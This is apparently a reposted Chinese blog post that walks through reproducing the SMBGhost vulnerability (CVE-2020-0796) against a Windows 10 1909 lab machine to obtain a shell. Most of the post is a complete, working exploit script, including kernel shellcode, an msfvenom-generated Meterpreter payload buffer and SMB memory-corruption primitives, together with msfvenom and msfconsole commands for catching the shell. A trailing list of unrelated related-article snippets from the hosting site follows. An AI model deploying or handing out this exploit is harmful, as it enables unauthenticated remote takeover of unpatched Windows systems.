CVE-2020-0796漏洞复现getshell

2023-11-27 14:40

本文主要是介绍CVE-2020-0796漏洞复现getshell,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

漏洞描述

SMB远程代码执行漏洞

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

漏洞原理

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

影响版本
该漏洞属于远程代码执行漏洞,漏洞主要影响Windows10的系统及应用版本(1903和1909),包括32位、64位的家用版、专业版、企业版、教育版。具体如下:

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

复现

一、实验环境

kali2020.2:192.168.254.154

windows10 version 1909靶机:192.168.254.161 

注意事项:

1、将虚拟机的内存设置>4g,我设置的是5g,不然可能会导致蓝屏。
2、将windows10的防火墙关掉,保证kali能够ping通windows10

windows10镜像下载:

ed2k://|file|cn_windows_10_business_editions_version_1909_x64_dvd_0ca83907.iso|5275090944|9BCD5FA6C8009E4D0260E4B23008BD47|/
复制上面这个,打开迅雷,就可以了,下载速度挺快的

二、工具下载

检测代码:https://github.com/dickens88/cve-2020-0796-scanner

getshell代码:https://github.com/chompie1337/SMBGhost_RCE_PoC

三、复现过程

1、先用检测代码对目标主机进行扫描,发现存在该漏洞

python3 cve-2020-0796-scanner.py -t 192.168.254.161

2、使用msfvenom命令生成shellcode代码

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

3、使用buf替换原poc中的USER_PAYLOAD,修改的样例在文末

4、打开msfconsole开启正向监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.254.161
run

5、运行poc代码

python3 exploit.py -ip 192.168.254.161    

6、发现在msf控制台成功getshell

 

修改样例:

#!/usr/bin/env pythonimport sys
import socket
import struct
import argparsefrom lznt1 import compress, compress_evil
from smb_win import smb_negotiate, smb_compress# Use lowstub jmp bytes to signature search
LOWSTUB_JMP = 0x1000600E9
# Offset of PML4 pointer in lowstub
PML4_LOWSTUB_OFFSET = 0xA0
# Offset of lowstub virtual address in lowstub
SELFVA_LOWSTUB_OFFSET = 0x78# Offset of hal!HalpApicRequestInterrupt pointer in hal!HalpInterruptController
HALP_APIC_REQ_INTERRUPT_OFFSET = 0x78KUSER_SHARED_DATA = 0xFFFFF78000000000# Offset of pNetRawBuffer in SRVNET_BUFFER_HDR
PNET_RAW_BUFF_OFFSET = 0x18
# Offset of pMDL1 in SRVNET_BUFFER_HDR
PMDL1_OFFSET = 0x38                                                                                                                       # Shellcode from kernel_shellcode.asm                                                                                                     
KERNEL_SHELLCODE = b"\x41\x50\x41\x51\x41\x55\x41\x57\x41\x56\x51\x52\x53\x56\x57\x4C"
KERNEL_SHELLCODE += b"\x8D\x35\xB9\x02\x00\x00\x49\x8B\x86\xD8\x00\x00\x00\x49\x8B\x9E"
KERNEL_SHELLCODE += b"\xE0\x00\x00\x00\x48\x89\x18\xFB\x48\x31\xC9\x44\x0F\x22\xC1\xB9"
KERNEL_SHELLCODE += b"\x82\x00\x00\xC0\x0F\x32\x25\x00\xF0\xFF\xFF\x48\xC1\xE2\x20\x48"
KERNEL_SHELLCODE += b"\x01\xD0\x48\x2D\x00\x10\x00\x00\x66\x81\x38\x4D\x5A\x75\xF3\x49"
KERNEL_SHELLCODE += b"\x89\xC7\x4D\x89\x3E\xBF\x78\x7C\xF4\xDB\xE8\xE4\x00\x00\x00\x49"
KERNEL_SHELLCODE += b"\x89\xC5\xBF\x3F\x5F\x64\x77\xE8\x38\x01\x00\x00\x48\x89\xC1\xBF"
KERNEL_SHELLCODE += b"\xE1\x14\x01\x17\xE8\x2B\x01\x00\x00\x48\x89\xC2\x48\x83\xC2\x08"
KERNEL_SHELLCODE += b"\x49\x8D\x74\x0D\x00\xE8\x09\x01\x00\x00\x3D\xD8\x83\xE0\x3E\x74"
KERNEL_SHELLCODE += b"\x0A\x4D\x8B\x6C\x15\x00\x49\x29\xD5\xEB\xE5\xBF\x48\xB8\x18\xB8"
KERNEL_SHELLCODE += b"\x4C\x89\xE9\xE8\x9B\x00\x00\x00\x49\x89\x46\x08\x4D\x8B\x45\x30"
KERNEL_SHELLCODE += b"\x4D\x8B\x4D\x38\x49\x81\xE8\xF8\x02\x00\x00\x48\x31\xF6\x49\x81"
KERNEL_SHELLCODE += b"\xE9\xF8\x02\x00\x00\x41\x8B\x79\x74\x0F\xBA\xE7\x04\x73\x05\x4C"
KERNEL_SHELLCODE += b"\x89\xCE\xEB\x0C\x4D\x39\xC8\x4D\x8B\x89\x00\x03\x00\x00\x75\xDE"
KERNEL_SHELLCODE += b"\x48\x85\xF6\x74\x49\x49\x8D\x4E\x10\x48\x89\xF2\x4D\x31\xC0\x4C"
KERNEL_SHELLCODE += b"\x8D\x0D\xC2\x00\x00\x00\x52\x41\x50\x41\x50\x41\x50\xBF\xC4\x5C"
KERNEL_SHELLCODE += b"\x19\x6D\x48\x83\xEC\x20\xE8\x38\x00\x00\x00\x48\x83\xC4\x40\x49"
KERNEL_SHELLCODE += b"\x8D\x4E\x10\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20\xB8\x05\x00\x00"
KERNEL_SHELLCODE += b"\x00\x44\x0F\x22\xC0\xE8\x19\x00\x00\x00\x48\x83\xC4\x20\xFA\x48"
KERNEL_SHELLCODE += b"\x89\xD8\x5F\x5E\x5B\x5A\x59\x41\x5E\x41\x5F\x41\x5D\x41\x59\x41"
KERNEL_SHELLCODE += b"\x58\xFF\xE0\xE8\x02\x00\x00\x00\xFF\xE0\x53\x51\x56\x41\x8B\x47"
KERNEL_SHELLCODE += b"\x3C\x4C\x01\xF8\x8B\x80\x88\x00\x00\x00\x4C\x01\xF8\x50\x8B\x48"
KERNEL_SHELLCODE += b"\x18\x8B\x58\x20\x4C\x01\xFB\xFF\xC9\x8B\x34\x8B\x4C\x01\xFE\xE8"
KERNEL_SHELLCODE += b"\x1F\x00\x00\x00\x39\xF8\x75\xEF\x58\x8B\x58\x24\x4C\x01\xFB\x66"
KERNEL_SHELLCODE += b"\x8B\x0C\x4B\x8B\x58\x1C\x4C\x01\xFB\x8B\x04\x8B\x4C\x01\xF8\x5E"
KERNEL_SHELLCODE += b"\x59\x5B\xC3\x52\x31\xC0\x99\xAC\xC1\xCA\x0D\x01\xC2\x85\xC0\x75"
KERNEL_SHELLCODE += b"\xF6\x92\x5A\xC3\xE8\xA1\xFF\xFF\xFF\x80\x78\x02\x80\x77\x05\x0F"
KERNEL_SHELLCODE += b"\xB6\x40\x03\xC3\x8B\x40\x03\xC3\x41\x57\x41\x56\x57\x56\x48\x8B"
KERNEL_SHELLCODE += b"\x05\x12\x01\x00\x00\x48\x8B\x48\x18\x48\x8B\x49\x20\x48\x8B\x09"
KERNEL_SHELLCODE += b"\x66\x83\x79\x48\x18\x75\xF6\x48\x8B\x41\x50\x81\x78\x0C\x33\x00"
KERNEL_SHELLCODE += b"\x32\x00\x75\xE9\x4C\x8B\x79\x20\xBF\x5E\x51\x5E\x83\xE8\x58\xFF"
KERNEL_SHELLCODE += b"\xFF\xFF\x49\x89\xC6\x4C\x8B\x3D\xD3\x00\x00\x00\x31\xC0\x44\x0F"
KERNEL_SHELLCODE += b"\x22\xC0\x48\x8D\x15\x96\x01\x00\x00\x89\xC1\x48\xF7\xD1\x49\x89"
KERNEL_SHELLCODE += b"\xC0\xB0\x40\x50\xC1\xE0\x06\x50\x49\x89\x01\x48\x83\xEC\x20\xBF"
KERNEL_SHELLCODE += b"\xEA\x99\x6E\x57\xE8\x1A\xFF\xFF\xFF\x48\x83\xC4\x30\x48\x8B\x3D"
KERNEL_SHELLCODE += b"\x6B\x01\x00\x00\x48\x8D\x35\x77\x00\x00\x00\xB9\x1D\x00\x00\x00"
KERNEL_SHELLCODE += b"\xF3\xA4\x48\x8D\x35\x6E\x01\x00\x00\xB9\x58\x02\x00\x00\xF3\xA4"
KERNEL_SHELLCODE += b"\x48\x8D\x0D\xE0\x00\x00\x00\x65\x48\x8B\x14\x25\x88\x01\x00\x00"
KERNEL_SHELLCODE += b"\x4D\x31\xC0\x4C\x8D\x0D\x46\x00\x00\x00\x41\x50\x6A\x01\x48\x8B"
KERNEL_SHELLCODE += b"\x05\x2A\x01\x00\x00\x50\x41\x50\x48\x83\xEC\x20\xBF\xC4\x5C\x19"
KERNEL_SHELLCODE += b"\x6D\xE8\xBD\xFE\xFF\xFF\x48\x83\xC4\x40\x48\x8D\x0D\xA6\x00\x00"
KERNEL_SHELLCODE += b"\x00\x4C\x89\xF2\x4D\x31\xC9\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20"
KERNEL_SHELLCODE += b"\xE8\x9E\xFE\xFF\xFF\x48\x83\xC4\x20\x5E\x5F\x41\x5E\x41\x5F\xC3"
KERNEL_SHELLCODE += b"\x90\xC3\x48\x92\x31\xC9\x51\x51\x49\x89\xC9\x4C\x8D\x05\x0D\x00"
KERNEL_SHELLCODE += b"\x00\x00\x89\xCA\x48\x83\xEC\x20\xFF\xD0\x48\x83\xC4\x30\xC3\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00"
KERNEL_SHELLCODE += b"\x00\x00\x00\x00\x00\x00\x00"# Reverse shell generated by msfvenom. Can you believe I had to download Kali Linux for this shit?buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xc2\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xb7\x5a\x24\x9d\x90\xde\x82"
buf += b"\xfa\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x4b\x12\xa5\x79\x60\x21\x7d\x05\x5f\x96\x24\x9d\x90"
buf += b"\x9f\xd3\xbb\xe7\x08\x75\xcb\xd8\xef\x50\x9f\xff\xd1"
buf += b"\x76\xfd\xd8\x55\xd0\xe2\xff\xd1\x76\xbd\xd8\x55\xf0"
buf += b"\xaa\xff\x55\x93\xd7\xda\x93\xb3\x33\xff\x6b\xe4\x31"
buf += b"\xac\xbf\xfe\xf8\x9b\x7a\x65\x5c\x59\xd3\xc3\xfb\x76"
buf += b"\xb8\xc9\xcf\xd1\x8f\xca\x71\xe5\x7a\xaf\xdf\xac\x96"
buf += b"\x83\x2a\xd1\xdb\x5c\x85\x9b\xdc\x8d\x7f\xc5\x5a\x24"
buf += b"\x9d\x1b\x5e\x0a\xfa\xb7\x5a\x6c\x18\x50\xaa\xe5\xb2"
buf += b"\xb6\x8a\x74\x16\xd8\xc6\xc6\x71\xf7\x7a\x6d\x9c\x40"
buf += b"\x3d\xd4\xb2\x48\x93\x65\x16\xa4\x56\xca\xfb\x61\x17"
buf += b"\x15\x54\xd8\xef\x42\x56\xf6\x9b\xed\x90\xd1\xdf\x43"
buf += b"\xc2\x57\x2f\xd5\xd1\x93\x92\xa6\xf2\xf2\x63\xf5\xe8"
buf += b"\x48\x86\xc6\x71\xf7\x7e\x6d\x9c\x40\xb8\xc3\x71\xbb"
buf += b"\x12\x60\x16\xd0\xc2\xcb\xfb\x67\x1b\xaf\x99\x18\x96"
buf += b"\x83\x2a\xf6\x02\x65\xc5\xce\x87\xd8\xbb\xef\x1b\x7d"
buf += b"\xdc\xca\x96\x01\x16\x97\x1b\x76\x62\x70\x86\xc3\xa3"
buf += b"\xed\x12\xaf\x8f\x79\x95\x7d\x05\x48\x07\x6d\x23\xe7"
buf += b"\xad\xb0\xa5\x84\x68\x24\x9d\xd1\x88\xcb\x73\x51\x12"
buf += b"\xa5\x71\x30\xdf\x82\xfa\xfe\xd3\xc1\xd5\xa1\x1e\xd2"
buf += b"\xaa\xfe\x9d\xe0\x9f\x90\xcf\xde\xbb\xe3\x13\xad\x79"
buf += b"\xdc\x57\x73\xbb\x0d\x16\x53\xbb\x97\x21\x57\xb6\x3e"
buf += b"\xb0\x4c\x9c\x91\xde\x82\xa3\xf6\xe0\x0d\x1d\xfb\xde"
buf += b"\x7d\x2f\xdd\x58\x7d\xcd\xc0\x93\xb3\x33\xfa\x6b\xe4"
buf += b"\xd5\x6f\x1e\xca\x73\x75\x1b\x9e\x77\x9f\x01\x62\x05"
buf += b"\x62\x12\xad\x5a\xfa\xce\xc3\xa2\xfb\xd3\xc6\xd5\x19"
buf += b"\x27\xc3\x40\x75\x81\x13\xfa\x6f\x0b\xca\xcb\x65\x12"
buf += b"\xad\x64\xd1\x64\x35\x13\x8f\xa5\xdb\x48\xdd\xef\x42"
buf += b"\xb2\x86\x88\x6c\x14\x69\x9f\x38\x8e\x5b\x61\xc5\x62"
buf += b"\x45\x96\x0b\x03\xff\xd3\xe3\xdc\x2a\xab\xec\xb7\xd6"
buf += b"\xa5\xf1\xd5\x11\x1a\x32\xf8\xb7\x5a\x6c\x1e\x7c\xce"
buf += b"\xca\x73\x55\x17\x15\x54\xfa\xda\xc3\xa2\xff\xd3\xdd"
buf += b"\xdc\x2a\xdc\x5b\x32\xe8\xa5\xf1\xd5\x13\x1a\xa2\xa4"
buf += b"\x3e\xac\x4e\xdd\xd1\x87\xea\xfa\xa7\x5a\x24\xdc\xc8"
buf += b"\x96\x0b\x08\xff\x6b\xed\xdc\x2a\x86\x26\xa9\x52\xa5"
buf += b"\xf1\xd5\x19\x1d\xcb\x73\x70\x17\x15\x54\xd9\x57\x72"
buf += b"\xb2\x3e\x80\x6c\x14\x69\x9f\x38\xf8\x6e\x92\x7b\x62"
buf += b"\x45\x96\x83\x39\xff\x73\xe2\xd5\x15\x28\xf7\x1b\xf6"
buf += b"\xa5\xc3\xc5\xfa\xde\xdb\xb3\x70\x98\xd4\x28\x32\x88"
buf += b"\x7d\x2f"PML4_SELFREF = 0
PHAL_HEAP = 0
PHALP_INTERRUPT = 0
PHALP_APIC_INTERRUPT = 0
PNT_ENTRY = 0max_read_retry = 3
overflow_val = 0x1100
write_unit = 0xd0
pmdl_va = KUSER_SHARED_DATA + 0x900
pmdl_mapva = KUSER_SHARED_DATA + 0x800
pshellcodeva = KUSER_SHARED_DATA + 0x950class MDL:def __init__(self, map_va, phys_addr):self.next = struct.pack("<Q", 0x0)self.size = struct.pack("<H", 0x40)self.mdl_flags = struct.pack("<H", 0x5004)self.alloc_processor = struct.pack("<H", 0x0)self.reserved = struct.pack("<H", 0x0)self.process = struct.pack("<Q", 0x0)self.map_va = struct.pack("<Q", map_va)map_va &= ~0xFFFself.start_va = struct.pack("<Q", map_va)self.byte_count = struct.pack("<L", 0x1100)self.byte_offset = struct.pack("<L", (phys_addr & 0xFFF) + 0x4)phys_addr_enc = (phys_addr & 0xFFFFFFFFFFFFF000) >> 12self.phys_addr1 = struct.pack("<Q", phys_addr_enc)self.phys_addr2 = struct.pack("<Q", phys_addr_enc)self.phys_addr3 = struct.pack("<Q", phys_addr_enc)def raw_bytes(self):mdl_bytes = self.next + self.size + self.mdl_flags + \self.alloc_processor + self.reserved + self.process + \self.map_va + self.start_va + self.byte_count + \self.byte_offset + self.phys_addr1 + self.phys_addr2 + \self.phys_addr3return mdl_bytesdef reconnect(ip, port):sock = socket.socket(socket.AF_INET)sock.settimeout(7)sock.connect((ip, port))return sockdef write_primitive(ip, port, data, addr):sock = reconnect(ip, port)smb_negotiate(sock)sock.recv(1000)uncompressed_data = b"\x41"*(overflow_val - len(data))uncompressed_data += b"\x00"*PNET_RAW_BUFF_OFFSETuncompressed_data += struct.pack('<Q', addr)compressed_data = compress(uncompressed_data)smb_compress(sock, compressed_data, 0xFFFFFFFF, data)sock.close()def write_srvnet_buffer_hdr(ip, port, data, offset):sock = reconnect(ip, port)smb_negotiate(sock)sock.recv(1000)compressed_data = compress_evil(data)dummy_data = b"\x33"*(overflow_val + offset)smb_compress(sock, compressed_data, 0xFFFFEFFF, dummy_data)sock.close()def read_physmem_primitive(ip, port, phys_addr):i = 0while i < max_read_retry:i += 1buff = try_read_physmem_primitive(ip, port, phys_addr)if buff is not None:return buffdef try_read_physmem_primitive(ip, port, phys_addr):fake_mdl = MDL(pmdl_mapva, phys_addr).raw_bytes()write_primitive(ip, port, fake_mdl, pmdl_va)write_srvnet_buffer_hdr(ip, port, struct.pack('<Q', pmdl_va), PMDL1_OFFSET)i = 0while i < max_read_retry:i += 1sock = reconnect(ip, port)smb_negotiate(sock)buff = sock.recv(1000)sock.close()if buff[4:8] != b"\xfeSMB":return buffdef get_phys_addr(ip, port, va_addr):pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))pml4e = PML4 + pml4_index*0x8pdpt_buff = read_physmem_primitive(ip, port, pml4e)if pdpt_buff is None:sys.exit("[-] physical read primitive failed")pdpt = struct.unpack("<Q", pdpt_buff[0:8])[0] & 0xFFFFF000pdpte = pdpt + pdpt_index*0x8pdt_buff = read_physmem_primitive(ip, port, pdpte)if pdt_buff is None:sys.exit("[-] physical read primitive failed")pdt = struct.unpack("<Q", pdt_buff[0:8])[0] & 0xFFFFF000pdte = pdt + pdt_index*0x8pt_buff = read_physmem_primitive(ip, port, pdte)if pt_buff is None:sys.exit("[-] physical read primitive failed")pt = struct.unpack("<Q", pt_buff[0:8])[0]if pt & (1 << (8 - 1)):phys_addr = (pt & 0xFFFFF000) + (pt_index & 0xFFF)*0x1000 + (va_addr & 0xFFF)return phys_addrelse:pt = pt & 0xFFFFF000pte = pt + pt_index*0x8pte_buff = read_physmem_primitive(ip, port, pte)if pte_buff is None:sys.exit("[-] physical read primitive failed")phys_addr = (struct.unpack("<Q", pte_buff[0:8])[0] & 0xFFFFF000) + \(va_addr & 0xFFF)return phys_addrdef get_pte_va(addr):pt = addr >> 9lb = (0xFFFF << 48) | (PML4_SELFREF << 39)ub = ((0xFFFF << 48) | (PML4_SELFREF << 39) +0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8pt = pt | lbpt = pt & ubreturn ptdef overwrite_pte(ip, port, addr):phys_addr = get_phys_addr(ip, port, addr)buff = read_physmem_primitive(ip, port, phys_addr)if buff is None:sys.exit("[-] read primitive failed!")pte_val = struct.unpack("<Q", buff[0:8])[0]# Clear NX bitoverwrite_val = pte_val & (((1 << 63) - 1))overwrite_buff = struct.pack("<Q", overwrite_val)write_primitive(ip, port, overwrite_buff, addr)def build_shellcode():global KERNEL_SHELLCODEKERNEL_SHELLCODE += struct.pack("<Q", PHALP_INTERRUPT +HALP_APIC_REQ_INTERRUPT_OFFSET)KERNEL_SHELLCODE += struct.pack("<Q", PHALP_APIC_INTERRUPT)KERNEL_SHELLCODE += bufdef search_hal_heap(ip, port):global PHALP_INTERRUPTglobal PHALP_APIC_INTERRUPTsearch_len = 0x10000index = PHAL_HEAPpage_index = PHAL_HEAPcons = 0phys_addr = 0while index < PHAL_HEAP + search_len:# It seems that pages in the HAL heap are not necessarily contiguous in physical memory, # so we try to reduce number of reads like this if not (index & 0xFFF):phys_addr = get_phys_addr(ip, port, index)else:phys_addr = (phys_addr & 0xFFFFFFFFFFFFF000) + (index & 0xFFF)buff = read_physmem_primitive(ip, port, phys_addr)if buff is None:sys.exit("[-] physical read primitive failed!")entry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1)i = 0# This heuristic seems to be OK to find HalpInterruptController, but could use improvementwhile i < entry_indices:entry = struct.unpack("<Q", buff[i:i+8])[0]i += 8if (entry & 0xFFFFFF0000000000) != 0xFFFFF80000000000:cons = 0continuecons += 1if cons > 3:PHALP_INTERRUPT = index + i - 0x40print("[+] found HalpInterruptController at %lx"% PHALP_INTERRUPT)if len(buff) < i + 0x40:buff = read_physmem_primitive(ip, port, phys_addr + i + 0x38)PHALP_APIC_INTERRUPT = struct.unpack("<Q", buff[0:8])[0]if buff is None:sys.exit("[-] physical read primitive failed!")else:PHALP_APIC_INTERRUPT = struct.unpack("<Q",buff[i + 0x38:i+0x40])[0]print("[+] found HalpApicRequestInterrupt at %lx" % PHALP_APIC_INTERRUPT)returnindex += entry_indicessys.exit("[-] failed to find HalpInterruptController!")def search_selfref(ip, port):search_len = 0x1000index = PML4while search_len:buff = read_physmem_primitive(ip, port, index)if buff is None:returnentry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1)i = 0while i < entry_indices:entry = struct.unpack("<Q",buff[i:i+8])[0] & 0xFFFFF000if entry == PML4:return index + ii += 8search_len -= entry_indicesindex += entry_indicesdef find_pml4_selfref(ip, port):global PML4_SELFREFself_ref = search_selfref(ip, port)if self_ref is None:sys.exit("[-] failed to find PML4 self reference entry!")PML4_SELFREF = (self_ref & 0xFFF) >> 3print("[+] found PML4 self-ref entry %0x" % PML4_SELFREF)def find_low_stub(ip, port):global PML4global PHAL_HEAPlimit = 0x100000index = 0x1000while index < limit:buff = read_physmem_primitive(ip, port, index)if buff is None:sys.exit("[-] physical read primitive failed!")entry = struct.unpack("<Q", buff[0:8])[0] & 0xFFFFFFFFFFFF00FFif entry == LOWSTUB_JMP:print("[+] found low stub at phys addr %lx!" % index)PML4 = struct.unpack("<Q", buff[PML4_LOWSTUB_OFFSET: PML4_LOWSTUB_OFFSET + 8])[0]print("[+] PML4 at %lx" % PML4)PHAL_HEAP = struct.unpack("<Q", buff[SELFVA_LOWSTUB_OFFSET:SELFVA_LOWSTUB_OFFSET + 8])[0] & 0xFFFFFFFFF0000000print("[+] base of HAL heap at %lx" % PHAL_HEAP)returnindex += 0x1000sys.exit("[-] Failed to find low stub in physical memory!")def do_rce(ip, port):find_low_stub(ip, port)find_pml4_selfref(ip, port)search_hal_heap(ip, port)build_shellcode()print("[+] built shellcode!")pKernelUserSharedPTE = get_pte_va(KUSER_SHARED_DATA)print("[+] KUSER_SHARED_DATA PTE at %lx" % pKernelUserSharedPTE)overwrite_pte(ip, port, pKernelUserSharedPTE)print("[+] KUSER_SHARED_DATA PTE NX bit cleared!")# TODO: figure out why we can't write the entire shellcode data at once. There is a check before srv2!Srv2DecompressData preventing the call of the function.to_write = len(KERNEL_SHELLCODE)write_bytes = 0while write_bytes < to_write:write_sz = min([write_unit, to_write - write_bytes])write_primitive(ip, port, KERNEL_SHELLCODE[write_bytes:write_bytes + write_sz], pshellcodeva + write_bytes)write_bytes += write_szprint("[+] Wrote shellcode at %lx!" % pshellcodeva)input("[+] Press a key to execute shellcode!")write_primitive(ip, port, struct.pack("<Q", pshellcodeva), PHALP_INTERRUPT + HALP_APIC_REQ_INTERRUPT_OFFSET)print("[+] overwrote HalpInterruptController pointer, should have execution shortly...")if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-ip", help="IP address of target", required=True)parser.add_argument("-p", "--port", default=445, help="SMB port, \default: 445", required=False, type=int)args = parser.parse_args()do_rce(args.ip, args.port)

 

这篇关于CVE-2020-0796漏洞复现getshell的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/427854

相关文章

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的

UMI复现代码运行逻辑全流程(一)——eval_real.py(尚在更新)

一、文件夹功能解析 全文件夹如下 其中,核心文件作用为: diffusion_policy:扩散策略核心文件夹,包含了众多模型及基础库 example:标定及配置文件 scripts/scripts_real:测试脚本文件,区别在于前者倾向于单体运行,后者为整体运行 scripts_slam_pipeline:orb_slam3运行全部文件 umi:核心交互文件夹,作用在于构建真

文章解读与仿真程序复现思路——电力自动化设备EI\CSCD\北大核心《考虑燃料电池和电解槽虚拟惯量支撑的电力系统优化调度方法》

本专栏栏目提供文章与程序复现思路,具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源程序擅长文章解读,论文与完整源程序,等方面的知识,电网论文源程序关注python

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担

深度学习每周学习总结N9:transformer复现

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 | 接辅导、项目定制 目录 多头注意力机制前馈传播位置编码编码层解码层Transformer模型构建使用示例 本文为TR3学习打卡,为了保证记录顺序我这里写为N9 总结: 之前有学习过文本预处理的环节,对文本处理的主要方式有以下三种: 1:词袋模型(one-hot编码) 2:TF-I